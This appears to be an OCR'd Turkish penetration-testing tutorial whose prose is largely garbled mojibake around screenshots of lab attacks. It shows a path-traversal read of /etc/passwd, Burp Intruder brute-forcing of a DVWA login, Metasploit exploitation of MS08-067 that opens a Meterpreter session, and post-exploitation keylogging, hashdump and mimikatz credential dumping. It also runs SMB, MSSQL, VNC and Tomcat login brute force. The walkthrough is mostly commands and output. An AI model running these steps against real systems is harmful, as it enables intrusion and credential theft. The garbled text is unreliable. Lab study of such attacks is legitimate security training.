any input that does not strictly cmnfmrm tm spec\ﬁcat\nms or transform it into v
Pl o L i e S e e e e e v
Alerts Pl 2 U5 PO Current Scans 42 &0 ) 3 @0 %0 0 #o|
=

y FRSG ftSNI &S Sy NadaGgS {NRGAL FfSNI @I

tFGK ¢NI @SNEIFIE | f SNIAYATAY GFYyPYPYLlF o611 Peé2Nyz o
dosyalara url si verilen (http://192.168.152.135/mutillidae/?page=%2Fetc%2Fpaspwattes

NT SNAYRSY Aft3IAfA R2ae8fFNI SNAOSOAf RAEAYATA 06St AN

z

TEIAEA dzNF QéS 3IAGYSeS el t POGPEPYPI R A4S f AydzE &

hitp://19....

€ 192.168.152.135 *“Ee ¥ &0

Fpasswd x Vg

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB Viewlog  View Captured Data

rootiroot 11 insh binox2: insh syso3: [ — ,
Z:man Ivarfcache/man /blnlsh Ip X 7 7 Ip 1 bin/sh m V/sh var i uucp:x:10:10:uucp: p:/bin/sh

T :
backup:x:34:34:backup: list:x:38: g List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var

Proxy: 2
_ Irunllrcd lbmlsh gnats: X 41:41:Gnats B ] ung Syslem in): i 34:655 h libuuid:x:100:101::/var/lib/libuuid:/bin/sh

dhep:x:101:1 v log: klog:x:103: ar/run/sshd:/usr/sbin/nologin

mnnv! i i bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115: ar/spool/p&stﬁx:/bcnﬂalse ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,, :/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false user:x:1001:1001 just a user,111 2/bin/bash ser :1002: 1002- 112:1

G proftpd:x:113:65534:: p statd:x:114:65534:: snmp:x: 115:65534: :Ivar/lib/snmp:/bin/false
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Burp Intruder Repeater Window Help

Target T Oy T Spider I Scanner T Intruder I Repeater T Seqguencer T Decoder I Comparer T Extender I Project options T User options TAIerts ]

[
J t T HTTP history TWebSockets history T Options ]

|ﬁJ Request to http:/f192.168.152.135:80
| Forward J | Drop J ( Intercept is on | | Action
Raw | Headers I Hex ]

GET / HITR/1.1

Host: 192.168.152.135

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
leccept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Bccept-Language: en-US,en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

|l GO KAa @ERE dz2 dld2d O B8PYRIF 1A ISTAYYS GF NAKeS&aAYA
A - ~ _ . 7~ A W A
t1t{9{{L5 08 O0221A8 O0AfIA&AYA 3| NNyGNfSa8SoAf ANKA
| NNy G Nt SeSoAt ANBAYAT ®

Burp Intruder Repeater Window Help

[ rarget [Proxy | spider T T\ truder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User optians | Alerts |

[Intercept | HTTP hista ryTW bSockets history | Options |

| Filters Hiding CSS, image and general binary content @

# a Host | Method | URL | Params |Edited | Status | Length | MIME type | Extension | Title | Comment it |SsL IR | Cookies | Time

1 hipy192.168.152.135 GET 0] O 200 1088  HTML Metasploitable2 - Linux O 192.168152135 1529012

2 http://192.168.152.135 GET ffavicon.ico 8] O 404 480 HTML ico 404 Mot Found O 192.168.152.135 15:32:30 2

3 hittpy/192.166.152.135 GET fdvwa 8] 0 302 445  HTML [J 192.168152.135 PHPSESSID=edf.. 15:32:362

4 [hittp:/192,168,152,135 GET  fdvwaflogin.php (8] () 200 1508 HTML php Darnn Vulnerable We... O 192.168152135 153245 2..,

ELN

Request Respunse}
| [ Raw | Params | Headers | Hex |

o /d wa/login php HTTP/1-1

;L 88 54 v v:50.0) Gecko/20100101 Firefox/50.0
t1 /htl ml,application/xml;q=0.9,*/*;q=0.8
N etoer boe 41 0 4c 23630265478933830553550.9

LA A

YdzZt £ F yPOP I RP @S OAFNB M FSH Ryiay dEMRN f FEMGTSE Ay



Burp Intruder Repeater Window Help

[Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TA\erts ]

[ Intercept T HTTP history T WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# a|Host | Method | URL | Params | Edited | Status |Length | MIME type | Extension
1 http://192.168.152.135 GET / O O 200 1086 HTML

2 http://192.168.152.135 GET favicon.ico O O 404 480 HTML ico

3 http:/192.168.152.135 GET fdvwaf )] ) 302 445 HTML

a4 http:/192.168.152.135 GET fdvwaflogin.php )] [J =200 1599 HTML php

5 http://192.168.152.135 PosT | /dvwajlogin.php | @ OJ HTML php

AN

Request

Raw | Params | Headers | Hex

POST /dvwa/login.php HTTP/1.1
Host: 192.168.152.135

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Referer: http://192.168.152.135/dvwa/login.php

Cookie: security=high; PHPSESSID=e4f0edc23639266a78%aa830b53589d9
Connection: close

Upgrade-Tnsecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

username=admin&password=password&Login=Login

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko,/20100101 Firefox/50.0

8l yPGUP 31 NNyidNf Se

{2y 2t NI']l RI &dzydzOdzRty 38t 8y
U

6 http://192.168.152.135 GET | idvwajindex.php |

O

<

200

4885 HTML

php

Raw | Headers | Hex HTMLTRender]

HTTR/1.1 200 OK

Date: Tue, 24 Jan 2017 00:53:15 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus. 10
Pragma: no-cache

Cache-Control: no-cache, must-revalidate
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Connection: close

Content-Type: text/html;charset=utf-g
Content-Length: 4585

<html xmlns="http://www.w3.0rg/1999/xhtml"=>

<head=

<title=Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome=/title=

<link rel="stylesheet" type="text/css" href="dvwa/css/main.css" /=

“lainl ral—t1cant ftuna—"Vvimana i1 eat hraf—tfoudcan 4l i

<meta http-eguiv="Content-Type" content="text/html; charset=UTF-8" /=

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" “http://www.w3.org/TR/xhtmll/DT0/xhtmll-strict.dtd">

S
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Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner ]’ Intruder T Repeater T Seqguencer

[ Jaal]

JTarget T Positions I Payloads I Options ]

2

Configure the details of the target for the attack.

Host:  192.168.152,135

Port: 80

|| Use HTTPS
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1
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Burp Intruder Repeater Window Help

[Target TPrnxy Tsp\der T Scanner I Intruder T Repeater I Sequencer TDacnder Tcnmparar I Extender I Project options I User options IA\erts 1

[Target TPusllluns Tpayluads Tcptluns }

2 | start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.
Attack type: | Sniper D
POST /dvwa/login.php HTTP/1.1 il Add §
Host: 162.168.152.135 r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:5S0.0) Gecko/20100101 Firefox/50.0 [ Clear §
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%*/*;g=0.8
Accept-Language: en-US,en;q=0.5 [ Auto §
Referer: http://192.168.152.135/dvwa/login.php
Cookie: security=Shighs; PHPSESSID=§e4f0edc236307665780aa830h53585d05 [ Refresh
Connection: close

Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

userr =§adming&p d=p dS&Login=§Loging

AT 0dzNI RF (dzZt+FyPOP FRPYP OAfRAEAYATA @I NBERF&FN
8F LI EPYD GGFOT GeLlsS 2tFNIF SFNEAFEPEIY &aYALISNI &S
t-ef2FRa GlI0QPYRIYT (S]] OANBABSEAVAISYA ke yLIAR  RIPRI
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{Target T Positions TPay\oads T Options ]

EJ Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Warious payload types are available for each |
and each payload type can be customized in different ways.

Payload set: |1 |= Payload count: 0
Payload type: | Simple list | Request count: 0
@ Payload Options [Simple list] Look In: | (i Passwords I'] ) I ] =) &l
This payload type lets you configure a simple list of strings that an
obe100.txt [ best110.txt
paste =ged-gmail-passwords txt [ best15.txt
hley_Madison txt [ bible-withcount txt
sic_Spanish_List.txt [ bible txt
s L1050t [7i bt4-password txt
Remowve
-t S J e
Clear
File Name: best110.txt
Add Enter a new item j Files of Type: |All Files ‘-]
Add from list ... [Pro version only] a —_—
Cancel

yIaPt oO0AN NBaLkRyasS |t OFreEPYPI P K
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Intruder attack 7

Attack Save Columns
j Results TTarget T Positions T Payloads T Options W
‘ Filter: Showing all items

Request |Payload Status | Error | Timeout | Length 4| Comment
0 302 O )] 354
1 302 O )] 354
2 111111 302 O )] 354
3 1234 302 O (] 354
4 12345 302 O (] 354
=] 123436 302 O ] 354
<1 1234367 302 O ] 354
7 12345578 302 O ] 354
g abc123 302 O ] 354
9 dragon 302 O O 354
10 iloveyou 302 O O 354
11 letmein 302 O O 354
12 monkey 302 O O 354
13 password 302 O O 354
14 querty 302 O O 354
15 tequiero 302 O (] 354
16 test 302 O (] 354
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Username

admin

Password

Login

Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
You have logged in as "admin’
Login failed
Login failed
Login failed

Login failed

A Y R dzRESI

&8
KSY RS

RAEA RdNHZY Acehy Y
RS 0ATNEB OAf AAAAYA OAf
& 2 NYz

> ¥

Burp Intruder Repeater Windew Help

Target | Proxy | Spider | Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts

Target | Positions TPay\uads TOptmns ]

[?J Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details,

Attack type: | Cluster bomb \']

POST /dvwa/login.php HTTR/1.1 2 Add§
Host: 182.168.152.135 r

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Clear s
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.5 Aute §
Referer: http://192.168.152.135/dvwa/login.php

Cookie: security=low; PHPSESSID=edf0edc23639266a789aa830b53585d9 R
Connection: close

Upgrade-Insecure-Reguests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 41

username=§admin§&password=Sadmin§& ogin=Login
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Target | Positions | Payloads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends o
and each payload type can be customized in different ways.

Payload set: |1 Payload count: 11

1
Payload type: 5 Request count: 0

EJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as paylo

Paste root A
~

admin

Load .. | |test

——— | guest >
Remove info
T d
Clear adm
mysq|
Licar

Add Enter a new item

Add from list ... [Pro version only]

L S

Payloadset |1 PaPYPYRI RI wmMp RS€A01Sy {dzZtlyPtlrOF] @S
Target | Positions PayloadsTOptions]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends aon the g
and each payload type can be customized in different ways.

Payload set: [2 .v] Payload count: 15

Payload type: [Simple list .v] Request count: 165

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 111111 A
~

1234

Load ... 12345

123456

— >
| Remove | | 1534567 f
v

| | 12345878
Clear
abcl23
—

Add Enter a new item

Add from list ... [Pro version only]
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B3 Intruder attack 8
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Attack Sawve Columns
j Results T Target T Positions T Payloads T Optians ]
| Filter: Showing all items |@
Reguest | Payloadl | Payload2 | status | Error | Timeout | Length 4| Comment
154 ftp tequiero 302 o O 354 H
155 root test 3202 (] (] 354
156 admin test 302 @] @] 354
157 test test 302 o o 354
158 guest test 302 a a 354
159 info test 302 o o 354
160 adm test 302 o o 354
161 mysg| test 302 @] @] 354
162 user test 302 (] (] 354
163 administrator test 3202 (] (] 354
164 oracle test 302 o o 354 _)
185 ftp test 302 o o 354 v
< f_ J ¥»
dz éNI RSY oFoFNPEP 2ftdzZld 2f YI RPEPYPIP Aau0STEfSNR 7
denememiz& OF 0F NPt P 2t Ydzo 0dz Rl O0AIl AY | RYAY @S

gelmektedir.

OO TEITea
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed

You have logged in as ‘admin’

Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed
Login failed




Metasploit:

aSlhlaLxt 2A4G +FatPyRF 0AN) FNIFYSG2N)JGNND | | LJPAPYRI
6L dzEAT I NEBUO Y2Rdz t SNE & SNBENISO dANIP Y RBNYINNNIG BENID 2 §
G2LX FYF @S T FAe&SG GSaLAGAYRSY a2y Nl 3ISNweS1ftSoi.
1dzf € FyFNFrl aAaiG§SYA StS 3ISeANNS]GAND
3 EPRITA 3JIAOA O0ANI 12yazft o6ATA 1IFNBPEtPe2N 2t OF |
root@kali: # msfconsole
£\ I\ v
| 1N/ AR | |/ N\ NN
I EAVARN - - N AR W S N I O O N O I
0 T I I I A U U N N O N O B
[/ P \YAVANAN / AV A | NN Y
= 1
+ -- --=[ 1734 exploits - 992 auxiliary - 300 post ]
+ -- --=[ 509 payloads - 40 encoders - 10 nops 1
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf =

Y2yazf RePtNFPIPTI BAtSNA GFyPYEL&FENI]l olotlelfPYd
Exploit:, dzl  NPRI RI o6FK&aSGAGdAEAY 3TFA0A &l YNNX¥S1Z Aaidaa
Auxilary:SELX 2A 0 | yOSaA oAf IA G2LIE L YEElF &FNlXeéely Y2RNf
Post{ | YNNN &2y Nl aP &aAaGSYRS (dAflyPfly Y2RNff SNRAI
Payload{ | YNNN &2y N} aP KSRSFT &4A4GSYRS o f PolYy (12RfIN
Em@qﬂ{@AQANNéz Lt{ 3IA0A AINGSYtA] ol I NYE SNAYA | {if
Y2 RNf RNNX

AYRA RS (12yaz2ftf RYPYUZGEFYPY®Y 12Ydzif | NP Gl

searchY ' NI YI 1 2YdzidzRdzN® ! {f PyPi I 3StSy KSNJI
mNYS1Y aSI NOKI Ry AfS Aft3IAAfA GNY SELX 2AGZLI &f2FR
use Y a2RNf N &SeSNW

mNJY S { aulargzgatBer/enum_dns

Showoptionssa 2 RNf 4SSy St SNAYA 3ISGANARND



msf > use auxiliary/gather/enum_dns
msf auxiliary( ) > show options

Module options (auxiliary/gather/enum_dns):

Name Current Setting Required Description

DOMAIN s The target domain

ENUM_A yes Enumerate DNS A record

ENUM_AXFR true yes Initiate a zone transfer against each NS record

ENUM_BRT false s Brute force subdomains and hostnames via the supplied wordlist
ENUM_CNAME true s Enumerate DNS CNAME record

ENUM_MX true s Enumerate DNS MX record

ENUM_NS true s Enumerate DNS NS record

ENUM_RVL false s Reverse lookup a range of IP addresses

ENUM_SOA true s Enumerate DNS SOA record

ENUM_SRV true s Enumerate the most common SRV records

ENUM_TLD false s Perform a TLD expansion by replacing the TLD with the IANA TLD list
ENUM_TXT true s Enumerate DNS TXT record

IPRANGE The target address range or CIDR identifier

NS specify the nameserver to use for gqueries (default is system DNS)
STOP_WLDCRD false s Stops bruteforce enumeration if wildcard resolution is detected
THREADS 1 Threads for ENUM_BRT

WORDLIST Jopt/metasploit-framework/embedded/framework/data/wordlists/namelist.txt no Wordlist of subdomains

Set:t  @f 2R aS@®@AYAYRS RSESNIFGFYFAPYP &F LI NP YN®N]
mNJY §ei{ DOMAIN facebook.com

unset:!! GFylFy RSESNA 1 f RPNPND®

check:Se-izleeynéf | € én si stemde var ol dujunu kontrol &ed
Kfo: mo d ¢ | hakkénda bilgi verir

Run /exploit:a 2 RNt Ny cel ft POYIFaPyP al €f | NI

Sessions:! { GAF 20GdzNHzYf I NP I aG§SNANI FS 20dzNHzY O0A€ IAEAA
route : h G dzZNHzY GNI FAEAYAY &1yt SYRANARE YSAAYA &l €f | N
Back: Meveui &S eSyS1GSy 06ANI I yOS1{A YSyNeéS RI ySNW

Exit: Y2y a2t RIYy @PlPOP al €f I NI
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msf > search ms@8-067

Matching Modules

Disclosure Date Rank Description

exploit/windows/smb/ms®8_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption
nsf > use exploit/windows/smb/ms@8 067
nsf exploilt > show options

_—

Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOST s The target address

RPORT 445 yes The SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
‘Exploit target:

Id Name

<] Automatic Targeting

msf exploit( ) > set RHOST 10.10.10.15
RHOST => 10.10.10.15 —_——




RHOST Hedef sistemin IP adresi.

LHOST{ I f RPNPY Py &l LIPft RPEP YI1AYIYPY Lt | RNBAAOD
RPORY ! TF1 aA&ad8SYS SELX 2AGAY Il yRSNAEf SOSEA LI NI dzy
LPORY |, [ LIPt LYy SELX 2A0GAY OSGlIoPYPYy OATAY YIF{1AYI

S KSRST LtQeéeiar GFyPYELFR
LJl-“le-feszdzidz aSeStAYoD aAalGSYAY oAYyR2ga 2ftF
1dzf £ FyYlFEYPT 3ISNB1AN® | N 3 S 68l DIANYVE imetelrgreterf dyé R dzY dzl
I R yR'PNJPf Fy LIl eft2FrR 2t YlFIaPyP AadGAiez2Nyz o

S

dz GFYPYEENP @FLIGPLGlY
|
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[reverse_hop_http set payload windows ﬂtPrprc*EF’F verse_tep_ allpurtf
p\uluud i eterpre _http 5 yload wind
meterpreter/bind_ipvi t payload wi r - https ‘El payload wind

‘|eterpreterfb\nd_ipv _uui t payload wi [reverse_https_prox set payload wind
D set payload wind e r re _1pv6_t set payload atnd
set payload windows/meterpreter/reverse_ - set payload »
5 windo terpreter/reverse_
windows /meterpreter/reve
.

| SRST aAaGSYRS aANGSytA]l RdzOI NP @SelanmN@SKiYAQ | INHPS
NI AaS NBEOSNBSY aSeSyS{tSNAYAZ R2ENHRIY oF €ty

AT INIRFE T8 2t Yl RPEPYP O0Af RAEAYAT AcwiAy O0AYRyYlOL
ediyoruz. Run diyerek expl@itT cel f P 6 G P NP & 2 NHzl

msf exploit( F pi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit( ) > show options
Module options (exploit/windows/smb/mse8_e67_netapi):
Current Setting Required Description
1©.10.10.15 The target address
445 yes The sSMB service port
SMBPIPE BROWSER ves The pipe name to use (BROWSER, SRWVSVC)
Payload options (windows/meterpreter/bind_tcp):
Current Setting Required Description
EXITFUNC Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The 1isten port
RHOST 16.16.16.15 no The target address
Exploit target:
Name

Automatic Targeting

msf exploit(

wdzy RSRA1GSY &2yN} T FFA&8SGA SELX 2AG SRSOAT RA
2 0 dzNHzY dzY dzl dzy | cePf RPEPYP Il NBOoAf A@2NYzZl & {@aAiAy¥Fz2 A

exploit( ) > run

] Started bind handler
] 10.10.10.15:445 - Automatically detecting the target...
*] 10.10.10.15:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
] 10.10.10.15:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
10.10.10.15:445 - Attempting to trigger the vulnerability...
*] Sending stage (957487 bytes) to 10.10.10.15
] Meterpreter session 1 opened (10.10.10.13:42657 -> 10.10.10.15:4444) at 2017-01-04 14:36:36 +0300

meterpreter > systnfo
CL-SODER-WINXP

: Windows XP (Build 2600, Service Pack 2).
: X86

System Language : en_US
Domain : SODER
Logged On Users : 2
Meterpreter : x86/windows
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Stdapi: System Commands

Command

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as

getuid Get the user that the server is running as

kill Terminate a process

localtime Displays the target system's local date and time

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts Town the remote computer

steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as 0S

Command

record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Priv: Elevate Commands

hashdump Dumps the contents of the SAM database

nds

timestomp Manipulate file MACE attributes

9y 21 1dA& I yPtly 12YdzitlI NP GFyPYEL&LtPYOD
52881 &aAaG§SYA 12Ydzif I NP fAydzE (1 2Ydzif | NP AfS

{Aa0SY 12Ydzit I NPSAFRRE & 2 Pl f NRPRAES @y PxX
kill, shell, ipconfig, route vs.

Hashdump: A FNB @OSNAGI O YPYP 3IS{HANRKND
getsysten¥ Sy | YySYfA {1 2Ydzif | NPYRIFY O0ANARANES 2Ol €
record me¥ AfS YA{INBF2ydz el 0Af ANBAYAT @
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Keyscan_dumpklavye hareketlerini dump eder.

aSUSNLINBGISNORAY 3StAOYAS | TSttA1fSNAYRSY 0ANR RS
12Ydzidzéat I LRad XeRNEAGNADP| I UR&EG YYVRARNE f SNA 31 NX¥ S
YaThdzaS LRalGkéoAyR26ak eATFld GFroQlF olavYlyPl &SGSNI

.dz LI2ad Y2RNffSNAYRSY O0ANI { | Pyl oF(FfPY

¢dzd0 KINB1SGEfSNAYA (I @RSRSOATANRT @

meterpreter > run post/windows/capture/keylog_recorder

'€ RIF NLJ a0lFy @F LI} oAfANRI

meterpreter > run post/windows/gather/gp_scanner RHOSTS=10.10.10.0/24

| SRST YI{AYLFLYPY abtylrt YIFE{AYyl 2fdz2d 2Tt YF RPEPYLl ol
meterpreter > run post/windows/gather/checkvm

KSRSFT YF1AYIFIRF OAFTNBESNR (2L F&F oAt ANRI

meterpreter > run post/windows/gathedredential_collector

o1l @SGlAEA OANI LINPASAS FdtlFeloAf ANRI

meterpreter > run post/windows/manage/migrate

| SRST YI1AYIlIRI {1 dzNUzt dz dz2&2 3dzf I YFfF NP tAa03St S&@SoAtA
meterpreter > run post/windows/gather/enum_applications

| SRST YI 1Ayl RI 2 (aektifiz I eYPO (AOATSNA fAad

meterpreter > run post/windows/gather/enum_logged_on_users

t @€ OPYEIF NP II NBOAEANRI

meterpreter > run post/windows/gather/enum_shares

{bat &aSNWBA&a {2YFAINNIaez2yftrNPYP wS]1So0AfANRKI
meterpreter > run post/windows/gather/enum_snmp

[ 21 F € Nyt IOAPFONESE K A KQf SNAYA @S SoAf ANRI

meterpreter > run post/windows/gather/hashdump

@S RIFKF O0ANe21 Lad Y2RNfNYyN 3II NNYIGNt SeAL) {dzZ Iy

.ATAY 0dz I8FYIFRIFETA Aft] KSRSTFAYAT YSGOSNILINBGSNI 2ic
OAFTNBE SNAdz [8fFVLBFodh £.Yd2] A ceAy LIR&ld Y2RNfft SNAYRSYy KI
1dzf £ FyFoAf ANKT @ YASA Y2RNEN RIKF (dAflFyPotP 2fRd

[2F R {A6A RSBALI {AsA LRalt Y2RNENyS ISeio & LIP& 2N



meterpreter > load kiwi
Loading extension kiwi...

3355 mimikatz 2.1 (x86/windows)
B N ##. "A La vie, A L'Amour"”
## |\ ## [* * *
## \ |/ ## Benjamin DELPY ‘gentilkiwi’ ( benjamin@gentilkiwi.com )
‘## v ##' http://blog.gentilkiwi.com/mimikatz (ce.eo)
Ported to Metasploit by 03 Reeves 'TheColonial® * * */

> b@lpl

| St L) RSeALI yS G NNIYRE Bdzidf N NI Pzt | v oAt SOSEA

Description

creds_all Retrieve all credentials (parsed)

creds_kerberos Retrieve Kerberos creds (parsed)

creds_msv Retrieve LM/NTLM creds (parsed)

creds_ssp Retrieve SSP creds

creds_tspkg Retrieve TsPkg creds (parsed)

creds_wdigest Retrieve WDigest creds (parsed)

dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket

kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets

kerberos_ticket_use Use a kerberos ticket

kiwi_cmd Execute an arbitary mimikatz command (unparsed)
1sa_dump_sam Dump LSA SAM (unparsed)

1sa_dump_secrets Dump LSA secrets (unparsed)

wifi_list List wifi profiles/creds

meterpreter > creds_all
Running as SYSTEM
Retrieving all credentials
credentials

LM NTLM

CL-SODER-WINXPS SODER a6577c06d5ea3f369be6f92d6c9can10 8db4afcd52e00b6d3ds5f8b70425fed89f03156e48
labuser1 SODER 057819ecbed5d9b2c2265b23734e0dac 939d51efaf8c@ac3a2f634df4791a175

Password

CL-SODER-WINXPS SODER td"e ?2[CSCXtt[.>. *:wIST2?SH6bCniFoVVv8'S:5]Ze< 52=+XeJzUTXg.o#[Ot@ZmASPjz,%" ' ;%LSN?20\yp<D+=1V/\S$PM"
bc_ASoyQS\wX8'VAmPUN_15
labuseri1 SODER labuseri1

kerberos credentials

Password

(null) (null) (null)

CL-SODER-WINXPS SODER td"e ?2[CSCXtt[.>. *:wIST2SH6bCNiFOVV8'S:$1Ze<A52=+XeJzUTXg.o#[Ot@ZMASPjz,% ' ;%LSN?0\yp<D+=1V/\$
PMAbc_ASOyQS\wWX8'VAMPUN_15

cl-soder-winxp$ SODER.LAB (null)

labuseri SODER.LAB (null)

(2adGS8Yy &8G1A&A AfS NIY RS &F1tlyly GNY
ABSNIY RS t10dzASNM 1dZ £t yPOPAPYPY OAFNBAA
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aAYAlFGl Y2RNEN AceAy 0O0dz {2Ydzif I NI FeyP oO6Af3IAL SN
meterpreter > load mimikatz
meterpreter > msv

meterpreter > kerberos



meterpreter >mimikatz_commandf samdump::hashes
ANJ 1 dzt £ yPOPYPY OAFTNB o0AfIAAaAyArA StRS SGGA1GSyYy a

myOSt AlfS o6dz KSarLXl R2YFAY RS 0dz dzyl

Y2RNf NyN {dzf € I yYLIDSEPOPYSZRKE Na2f{ 8 RS a

frodzZASNM {dZf £t yPOP IRP @S 1 06dzaSNM OAFNBAA AfS 2
A

dz A6t SYft SNA aAPNI &t T
msf> search smb_login

msf > use auxiliary/scanner/smb/smb_login

msf auxiliary(smb_login) > show options
msfauxiliary(smb_login) > set SMBDomtgst

msf auxiliary(smb_login) > set SMBUser labuserl
msf auxiliary(smb_login) > set SMBPass labuserl

msf auxiliary(smb_login) > set RHOSTS 10.10.10.0/24

msf auxiliary(smb_login) > run 12Ydzidzat |l oel f POGPNPE2NHA @

3
n
=

auxiliary( ) > run

|

10.10.10.10:445 - SMB - Starting SMB login bruteforce

10.10.10.10:445 - This system does not accept authentication credentials, proceeding brute
10.10.10.10:445 - SMB - Success: 'soder\labuseri:labuser1'

10.10.10.10:445 - SMB - Domain is ignored for user labuser1

Scanned 1 of 6 hosts (16% complete)

10.10.10.11:445 - SMB - Starting SMB login bruteforce

10.10.10.11:445 - This system does not accept authentication credentials, proceeding brute
10.10.10.11:445 - SMB - Could not connect

Scanned 2 of 6 hosts (33% complete)

10.10.10.12:445 - SMB - Starting SMB login bruteforce

10.10.10.12:445 - This system does not accept authentication credentials, proceeding brute
10.10.10.12:445 - SMB - Success: 'soder\labuseri:labuser1'

Scanned 3 of 6 hosts (50% complete)

10.10.10.13:445 - SMB - Starting SMB login bruteforce

10.10.10.13:445 - This system does not accept authentication credentials, proceeding
10.10.10.13:445 - SMB - Could not connect

Scanned 4 of 6 hosts (66% complete)

10.10.10.14:445 - SMB - Starting SMB login bruteforce

10.10.10.14:445 - This systlem does not accept authentication credentials, proceeding

4+ %

* +

10.10.10.14:445 - SMB - Could not connect
Scanned 5 of 6 hosts (83% complete)
10.10.10.15:445 - SMB - Starting SMB login bruteforce
5 : - This system does not accept authentication with any credentials, proceeding brute force
- SMB -

Luoc oo
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Failed: 'soder\labuseri:labuseri1', Login Failed: The server responded error: STATUS
N e T P

SaA6 I AGSNRESY Al1A YF1AYyl RI F&ayP 1dftlyPOP I F

AYRA o6dz YFE1AYIlIfFNRF LASESO 12Ydzidzat I 2 4dz2NHzY | ©
SivySeS el f POl OFEPI @

msf > use exploittwindows/smb/psexéomutud £ I Y2 RNf N aS @A Ll &aS0eSySit SN
el f POGPNPE2NYZ &

AYRA OANIT RIFI RAESNI aA&0GSYESNIS Af3IAEA Y2RNff SN
hNIOFYRFE Yaalit AyadlyoOoS 2ftdal 2t YFRPEPYl oF{1ly Y2R
a 2 R Ni§f ¥ use auxiliary/scanner/mssql/mssgl_ping
Tald Sy S st &diangmedyl_ping) > set RHOSTS 10.10.10.10.0/24
+SNAGIOFYP adzydzOdzadzyl (dzEtl yPOP | RP @S LI NRfIl &P

msf > use auxiliary/scanner/mssqgl/mssqgl_login



msf auxiliary(mssglogin) > set RHOSTS 10.10.10.14

VNC servisine kaba kuvveienemesi

msf > use auxiliary/scanner/vnc/vnc_login

msf auxiliary(vnc_login) > set RHO$0.30.10.13

G2YOF G 1Fol 1d@@gSéG al t RPNPAP
msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgtogin) > set RHOSTS 10.10.10.11

msfauxiliary(tomcat_mgr_login) > set RPORT 8180

a{{v[ adzydOdzadzydzy &1 ySiAY KSaloP AfS ASESGAY &A&

msf > use exploit/windows/mssqgl/mssql_payload

msf>showoptions | 6 dzZNJ R A1 A LI N} YSGNB R2f RdzNXI YPT &SaGS

msf exploit( ) > show options
